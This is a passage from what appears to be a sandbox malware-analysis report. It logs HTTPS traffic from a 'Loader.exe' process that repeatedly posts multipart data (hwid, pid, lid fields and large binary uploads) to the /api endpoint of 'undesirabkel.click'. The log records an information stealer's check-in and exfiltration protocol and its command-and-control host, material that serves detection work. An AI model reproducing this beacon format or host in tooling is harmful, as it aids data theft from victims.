name="hwid"DCA3EE5DEEF2F4191441EDD8E05CE3DA--M91SY52IFTContent-Disposition: form-data; name="pid"2--M91SY52IFTContent-Disposition: form-data; name="lid"LPnhqo--yxojbtuqnnxf--M91SY52IFTC
2024-12-27 22:27:03 UTC	2791	OUT	Data Raw: ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2024-12-27 22:27:06 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:27:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a6b85h4q0s2eriaq0f62mv8qqb; expires=Tue, 22 Apr 2025 16:13:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W53esHzU4U2usNU6XT3wkq6YIn1ajGLaw3Ae2iffABeKRr34VwrHwpaFdqJUC%2BkHdxeCnQ5HUak1AbvskYeZnO0TI92Iu7wsqjmhLgkAh9bgKLn55c97m1ZQiy7bZ3el0dZU%2FOY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cbc5a7e3878d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2499&min_rtt=2054&rtt_var=1662&sent=11&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19078&delivery_rate=519480&cwnd=144&unsent_bytes=0&cid=70e9878467d7f762&ts=3391&x=0"
2024-12-27 22:27:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:27:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.30.13	443	7408	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:27:07 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OKFWFD1CV0UIFBA85V7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8797 Host: undesirabkel.click
2024-12-27 22:27:07 UTC	8797	OUT	Data Raw: 2d 2d 4f 4b 46 57 46 44 31 43 56 30 55 49 46 42 41 38 35 56 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 41 33 45 45 35 44 45 45 46 32 46 34 31 39 31 34 34 31 45 44 44 38 45 30 35 43 45 33 44 41 0d 0a 2d 2d 4f 4b 46 57 46 44 31 43 56 30 55 49 46 42 41 38 35 56 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 4b 46 57 46 44 31 43 56 30 55 49 46 42 41 38 35 56 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 78 Data Ascii: --OKFWFD1CV0UIFBA85V7Content-Disposition: form-data; name="hwid"DCA3EE5DEEF2F4191441EDD8E05CE3DA--OKFWFD1CV0UIFBA85V7Content-Disposition: form-data; name="pid"2--OKFWFD1CV0UIFBA85V7Content-Disposition: form-data; name="lid"LPnhqo--yx
2024-12-27 22:27:08 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:27:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=op86ikog16sd0gus1k3ae4ji7n; expires=Tue, 22 Apr 2025 16:13:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WuD6dv%2FFnEfSaodkEujTiLAzwx4g5d51wPr2GgmVwxFlU409WZ9MKCs%2BJs6FcZb96u3S%2BjCoYshmXRXj4bQqjCBrsooM9yaEMh0eTisDCuuFy2LoBhZ1QPOZqFq39PCMKq1CVU0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cbc77a9e718d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1785&min_rtt=1714&rtt_var=694&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9739&delivery_rate=1703617&cwnd=191&unsent_bytes=0&cid=fbbd29ca89a17058&ts=811&x=0"
2024-12-27 22:27:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:27:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.30.13	443	7408	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:27:10 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XAUBSJLSPWT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20402 Host: undesirabkel.click
2024-12-27 22:27:10 UTC	15331	OUT	Data Raw: 2d 2d 58 41 55 42 53 4a 4c 53 50 57 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 41 33 45 45 35 44 45 45 46 32 46 34 31 39 31 34 34 31 45 44 44 38 45 30 35 43 45 33 44 41 0d 0a 2d 2d 58 41 55 42 53 4a 4c 53 50 57 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 58 41 55 42 53 4a 4c 53 50 57 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 78 6f 6a 62 74 75 71 6e 6e 78 66 0d 0a 2d 2d 58 41 55 42 53 4a 4c 53 50 57 Data Ascii: --XAUBSJLSPWTContent-Disposition: form-data; name="hwid"DCA3EE5DEEF2F4191441EDD8E05CE3DA--XAUBSJLSPWTContent-Disposition: form-data; name="pid"3--XAUBSJLSPWTContent-Disposition: form-data; name="lid"LPnhqo--yxojbtuqnnxf--XAUBSJLSPW
2024-12-27 22:27:10 UTC	5071	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-27 22:27:11 UTC	1143	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:27:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2ml8s8mcjapgr3jv59hlgu6h06; expires=Tue, 22 Apr 2025 16:13:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hY1l%2FWqPZexehKpnKVR2rHADjFX%2B49pf1h5PcDYlOoEx8%2Bu4un3EslAhHnHTkJ41XnsO%2FN0zxgzJ7NKFVUUEFrpw1IPmd%2BH%2BLtaLhxbB05HoGNt2z6p%2BvjQ4%2BNZvqn2%2BIdGUf5o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cbc85ccf48c6b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1877&min_rtt=1849&rtt_var=713&sent=15&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21359&delivery_rate=1579232&cwnd=145&unsent_bytes=0&cid=4f9820c20a449cdc&ts=986&x=0"
2024-12-27 22:27:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:27:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.30.13	443	7408	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:27:13 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XYJVGHQPA055X9Z User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1236 Host: undesirabkel.click
2024-12-27 22:27:13 UTC	1236	OUT	Data Raw: 2d 2d 58 59 4a 56 47 48 51 50 41 30 35 35 58 39 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 41 33 45 45 35 44 45 45 46 32 46 34 31 39 31 34 34 31 45 44 44 38 45 30 35 43 45 33 44 41 0d 0a 2d 2d 58 59 4a 56 47 48 51 50 41 30 35 35 58 39 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 59 4a 56 47 48 51 50 41 30 35 35 58 39 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 78 6f 6a 62 74 75 71 6e 6e 78 66 0d 0a Data Ascii: --XYJVGHQPA055X9ZContent-Disposition: form-data; name="hwid"DCA3EE5DEEF2F4191441EDD8E05CE3DA--XYJVGHQPA055X9ZContent-Disposition: form-data; name="pid"1--XYJVGHQPA055X9ZContent-Disposition: form-data; name="lid"LPnhqo--yxojbtuqnnxf
2024-12-27 22:27:13 UTC	1138	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:27:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jopb6tvchb80f68u62kuttm97c; expires=Tue, 22 Apr 2025 16:13:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PnrIHl%2FYAPZ8XoX5VEwLsefgcG9l9lxyS1%2BWpmnIpVacEJTln0OXRO%2Fbw%2BaPbRb6DUcl%2BoxZbtQl6xAP%2F9Hou8jHcuW37uV9L8h5UL3BcFfoe50FIPjIZG5x1XJdFuu%2FMGn%2Bxv0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cbc974bd31a24-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2016&min_rtt=2011&rtt_var=765&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2152&delivery_rate=1420924&cwnd=217&unsent_bytes=0&cid=3df130d1505a5b77&ts=941&x=0"
2024-12-27 22:27:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:27:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49737	104.21.30.13	443	7408	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:27:15 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OTJ1QCSBXYCPI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569678 Host: undesirabkel.click
2024-12-27 22:27:15 UTC	15331	OUT	Data Raw: 2d 2d 4f 54 4a 31 51 43 53 42 58 59 43 50 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 41 33 45 45 35 44 45 45 46 32 46 34 31 39 31 34 34 31 45 44 44 38 45 30 35 43 45 33 44 41 0d 0a 2d 2d 4f 54 4a 31 51 43 53 42 58 59 43 50 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4f 54 4a 31 51 43 53 42 58 59 43 50 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 78 6f 6a 62 74 75 71 6e 6e 78 66 0d 0a 2d 2d 4f 54 4a 31 Data Ascii: --OTJ1QCSBXYCPIContent-Disposition: form-data; name="hwid"DCA3EE5DEEF2F4191441EDD8E05CE3DA--OTJ1QCSBXYCPIContent-Disposition: form-data; name="pid"1--OTJ1QCSBXYCPIContent-Disposition: form-data; name="lid"LPnhqo--yxojbtuqnnxf--OTJ1
2024-12-27 22:27:15 UTC	15331	OUT	Data Raw: 7e 57 c5 0a 53 89 95 d2 8c 25 80 a4 27 61 c1 94 c7 61 af 00 db 4c 01 fc 2e bc d6 77 18 87 64 f4 b6 c2 6b 8c a1 f3 92 34 fc 6e b2 8b 08 38 a3 8e 85 71 5c ec 9a 35 3a 54 71 fb ea 7e ae db 76 90 1a e4 f8 ff 56 29 69 3e 40 b7 df 15 dc 41 83 7a 32 b9 27 08 78 6d e1 60 01 9a 82 73 5a 58 78 89 19 bb 27 ad 54 00 e2 fd b9 60 94 7a 8c c1 5b 30 b4 6d b3 84 18 87 a4 7a 85 c1 a5 c4 34 07 37 1c 68 90 e7 05 18 a3 63 b6 67 38 94 40 72 2a 30 75 3b bf 48 93 e6 b7 f9 39 39 ec e1 17 23 a6 68 a7 94 97 23 17 8a 1e 31 8e 7f b5 38 a5 c2 9b d6 8a a3 56 98 ca 6a 0c c1 32 3d 45 88 0d e0 fd 28 2a c6 14 5c c0 b0 28 29 5b 0d fe 2e f2 9c 5a 47 22 97 b4 22 5f c5 3f 66 3c be 6a 27 41 25 33 d2 b1 b0 c4 b2 e6 cc bb 25 e0 b7 87 a6 8d 0e 14 04 3f fa d1 ec cd 23 23 81 2a f1 6b 37 8f e6 a1 a8 Data Ascii: ~WS%'aaL.wdk4n8q\5:Tq~vV)i>@Az2'xm`sZXx'T`z[0mz47hcg8@r0u;H99#h#18Vj2=E(\()[.ZG""_?f<j'A%3%?##*k7
2024-12-27 22:27:15 UTC	15331	OUT	Data Raw: 08 c9 5b 56 46 d2 d8 c7 91 36 66 4e af a6 33 da 7f ad 41 73 08 cb 1b 05 a5 b0 2f ea ad 72 9b 04 1c b9 a9 30 96 3f 11 d1 42 91 08 f6 92 a0 9d 7a 80 eb 78 81 a0 22 65 86 c1 5e a9 c8 12 d3 b5 cc 47 c3 a6 62 b4 ca f8 f4 b3 ca 75 c9 10 01 e2 9e ee 77 f9 4d 74 93 29 58 28 46 4b f5 21 5e ae f0 85 c6 ec 87 42 91 b1 dd 93 86 c0 07 89 7e 53 a7 14 81 98 a0 92 6b 4a 31 3a e8 9e c1 70 a1 d9 2f 46 d3 83 1d eb f4 12 8b fd 9d e7 99 92 e8 70 41 de be 7a fa 5f aa ae df e3 28 0c 83 32 ce dc 9c 91 df ea 9b 63 96 9c 01 69 84 df f9 8a dc 5c 37 83 08 d7 da 11 aa f5 fd 01 f2 9e ae eb 11 94 2b 67 b8 2e 6f f0 d0 e8 ab f9 a9 ef 62 97 2b ff 0a fa d9 a2 b1 19 ef ed 02 f9 68 c2 99 27 c8 98 3b 98 bb 0f 16 2f c5 64 e5 a9 dd 89 67 93 5a 0f 92 2f 30 1a 16 4e b0 1b 75 f3 24 c2 98 a9 35 65 Data Ascii: [VF6fN3As/r0?Bzx"e^GbuwMt)X(FK!^B~SkJ1:p/FpAz_(2ci\7+g.ob+h';/dgZ/0Nu$5e
2024-12-27 22:27:15 UTC	15331	OUT	Data Raw: 1c 44 88 bb 7b 07 a8 be d0 e5 f4 7b cb 90 a2 af 7e 7b 52 62 bb f4 d5 9e 7a 71 e9 d9 d5 30 60 1b 83 9a 63 9b b5 e6 95 00 0c f5 f7 dd 8f 47 5e 31 5d fa 82 33 50 07 5a e6 9b f7 3d 5a 27 5c 0d 57 4a 4d f1 b6 0e 46 f9 ef ae 4d fd 45 d0 4d 11 14 7f 11 3b e0 0b ce d8 fc 57 34 39 7a bd a3 ce 28 67 69 a2 d9 6a 7b a9 e8 a3 13 2f 39 5a 7e 77 49 cd 27 ae d9 ce f9 f0 eb 85 f7 fe 7b 19 b2 c3 82 77 28 6e 1f d0 bd c8 cf 0f 39 d2 0f 08 ff d5 52 52 37 37 39 17 a9 ae a1 4b 76 1f 6f f4 46 2d 89 dc 44 7b dc 73 4d 12 4a 6a d0 13 34 73 01 63 6d 6a 4c a5 6e 6f 41 70 6d 09 76 1e a5 6e 1e 97 a1 13 06 b7 fc ee 9c fc dc 8d 63 f6 b4 1f 2d 49 5b 78 44 d9 db dd fe 71 2e b5 f2 07 c7 20 ce 82 22 7b b5 f9 2e 4f f1 e2 39 9a 5f 59 6b 3f f9 d3 ee 19 9e 7e cb 9f aa 07 dd 5e 7d b0 55 a3 58 94 Data Ascii: D{{~{Rbzq0`cG^1]3PZ=Z'\WJMFMEM;W49z(gij{/9Z~wI'{w(n9RR779KvoF-D{sMJj4scmjLnoApmvnc-I[xDq. "{.O9_Yk?~^}UX
2024-12-27 22:27:15 UTC	15331	OUT	Data Raw: 53 7d 7f 2e 0e 6e 1e d4 11 ee f2 d5 3a cd f1 91 32 1a 6f 73 f0 2a 27 e7 2c 78 0d 8d bc 50 5d aa 4d ae 2a 4b 42 c7 1e 50 1d b1 e0 d8 04 ef 77 76 91 17 db bd b3 a7 95 e9 f6 90 db ac 59 99 f7 e4 ef b1 92 0c 78 55 e0 66 75 86 6b 2e c4 5b 46 f4 22 0c e6 b8 e0 0f 33 06 37 f7 22 84 80 d1 44 2e 54 47 04 7a af cf f0 11 07 c7 d5 6c 76 20 cf 43 e9 0d 51 ff 2b 93 b6 c8 a0 80 db 5e 93 4e 45 f7 91 e0 c3 bd cc 26 1e 30 44 71 1c b5 56 75 c1 08 ef bc 7b ff e9 f0 7b 6d 53 7f 2d 49 87 fb 47 24 6d ee a9 bc 57 36 27 a5 fb a1 ff 3e a0 35 2d 9c 4c 58 81 18 fe 89 54 be ff ff 2b b9 21 09 4a c7 78 e0 3c b0 f8 67 e0 92 cc e2 1b 21 46 55 39 25 a5 05 59 0c 7f 5e 2c 79 54 c4 c3 41 38 4f b5 7f e2 ec 08 27 7c 97 28 cb 4a 10 44 fc d9 9e 0e 54 b4 9f 21 89 b5 06 a9 81 5b 51 da d4 43 1f f7 Data Ascii: S}.n:2os',xP]MKBPwvYxUfuk.[F"37"D.TGzlv CQ+^NE&0DqVu{{mS-IG$mW6'>5-LXT+!Jx<g!FU9%Y^,yTA8O'\|(JDT![QC
2024-12-27 22:27:15 UTC	15331	OUT	Data Raw: 10 6e 10 a4 34 b9 f1 bd 9c 38 db 39 b9 b4 36 64 e3 56 31 bf ce 2c 42 ce a9 4e 42 b8 a9 1c 59 61 d1 f8 79 b9 06 5b 2d 5f e8 62 4f 28 90 7b 16 55 48 6a 34 30 f0 15 f8 71 b0 25 90 aa ae dc ea ad 5d 9b 00 c5 7b 6f fb 3c 4b d3 42 06 16 6c bf da 51 2b 62 2d c3 08 40 ec aa 75 46 29 87 eb 73 6c bb 38 a6 f4 0b 61 40 d0 8d b1 7b 7c 3d f7 8f dc dd 9a 74 aa 57 ec 2e 72 f6 68 4b 16 2a 51 89 36 14 b3 1f ef bb fc d1 c8 e6 9b be 67 81 a0 a1 46 53 d8 16 5f d8 e9 36 be e2 7c c3 59 c7 d8 de 8a ed 07 3f 82 0c 7f 08 9d 73 96 fd 55 97 f8 0c fa 5d 82 cd ad 4c c4 10 c0 83 a1 02 7a 6b db a0 bc 2d f7 87 2b 24 9c 8d e8 1d c4 ad df a2 17 1c d5 39 bc a5 8f 3b c4 f1 47 4d 6c 1d a5 17 99 19 90 0c ab 24 19 d1 fb d4 d4 67 f5 e4 31 21 b0 cf 8f ea 90 fe 29 e6 79 90 7f 15 23 47 88 39 7e 9f Data Ascii: n4896dV1,BNBYay[-_bO({UHj40q%]{o<KBlQ+b-@uF)sl8a@{\|=tW.rhK*Q6gFS_6\|Y?sU]Lzk-+$9;GMl$g1!)y#G9~
2024-12-27 22:27:15 UTC	15331	OUT	Data Raw: 22 0f 61 64 79 9b 65 ed 42 a6 d7 7f 96 53 e4 44 c9 bb ba 9e b3 4a fe bf b6 8a 9f 38 59 04 7c bd 73 38 2f ae ca e3 cd be b6 c0 38 dd be 6f 48 bc 3b f7 ad 2a 6b 58 a2 09 76 e1 54 09 32 52 10 e4 a1 03 ab 4b 33 92 d2 38 41 c8 0d d4 b9 cd 14 a4 ee 66 c3 26 ca 1d 6e 55 3d 14 fd 71 11 10 56 bd 83 c0 2d 9c cc 6c e6 04 07 aa e4 7f 5b f6 ca c6 47 2f 19 70 ed ce f2 90 ac 97 a9 7f fd eb e3 47 c8 1f 3b e3 b3 81 04 f1 de 1b b8 45 1c b2 fc 96 63 9a fb 5c 49 7c 35 5e d1 8a 96 c4 58 ff 99 89 8f 7c b2 19 9a 82 48 be cd c2 6c 8e db 92 86 12 0a b4 91 70 f3 01 2b d2 04 9d 95 3b ab a5 df e6 a3 59 3f a3 44 6f a2 01 6e 73 f5 67 1a cb 67 08 41 bf 36 ba f4 38 e7 5e 20 93 1d e0 5c fd e3 5a 94 43 2f 58 ac 11 02 57 37 46 4b 3e d6 48 8f 56 2a f5 6d 56 c2 d4 c7 00 44 97 d2 df 71 00 8f Data Ascii: "adyeBSDJ8Y\|s8/8oH;kXvT2RK38Af&nU=qV-l[G/pG;Ec\I\|5^X\|Hlp+;Y?DonsggA68^ \ZC/XW7FK>HVmVDq
2024-12-27 22:27:15 UTC	15331	OUT	Data Raw: 24 e8 be 43 fd 49 24 84 c8 21 e6 9d a8 07 02 e6 e0 75 c3 f9 6b a1 30 e1 79 88 3e 7f e2 e2 50 85 c3 68 5e 3a 41 44 93 a1 90 ae f8 9a 9c e0 69 0a 9b d6 c3 65 52 5d 54 ee bb 69 9b 8b 61 18 98 40 76 e6 fb d5 fe df f6 b4 16 bd cc 1f 09 9b 80 e7 c0 dc 73 14 2c 3b 7f 66 fc 05 16 e6 c3 f1 2e 4a 63 3b c7 27 e6 5c d9 f6 03 91 06 44 6d 94 99 58 5f d1 0d fb 5a 17 a5 f4 b9 f1 14 b3 0b 8a 97 94 32 0c e6 d4 db 5c 63 ed 6b 88 f2 a1 7a 97 04 e3 c9 fc 80 57 60 3d b6 ea a8 6b 7d a7 59 d3 f8 fe 10 47 a9 00 24 66 95 af a8 97 fe c0 d3 9f 84 bd be 6f d1 1b 4a 46 76 a7 c6 b5 d4 f0 9e 88 06 9a cd a7 c1 6f e5 ab fa 25 9e 9c 17 65 0f 8e 0f 4b f4 3b 6d 3a ff 8b 78 42 29 dc 3f 55 7f 55 80 14 e8 11 c3 18 36 ca ef 29 09 b8 e6 b5 b4 f9 25 11 4f aa 35 95 4b ff 79 9d 76 56 6f a8 99 36 87 Data Ascii: $CI$!uk0y>Ph^:ADieR]Tia@vs,;f.Jc;'\DmX_Z2\ckzW`=k}YG$foJFvo%eK;m:xB)?UU6)%O5KyvVo6
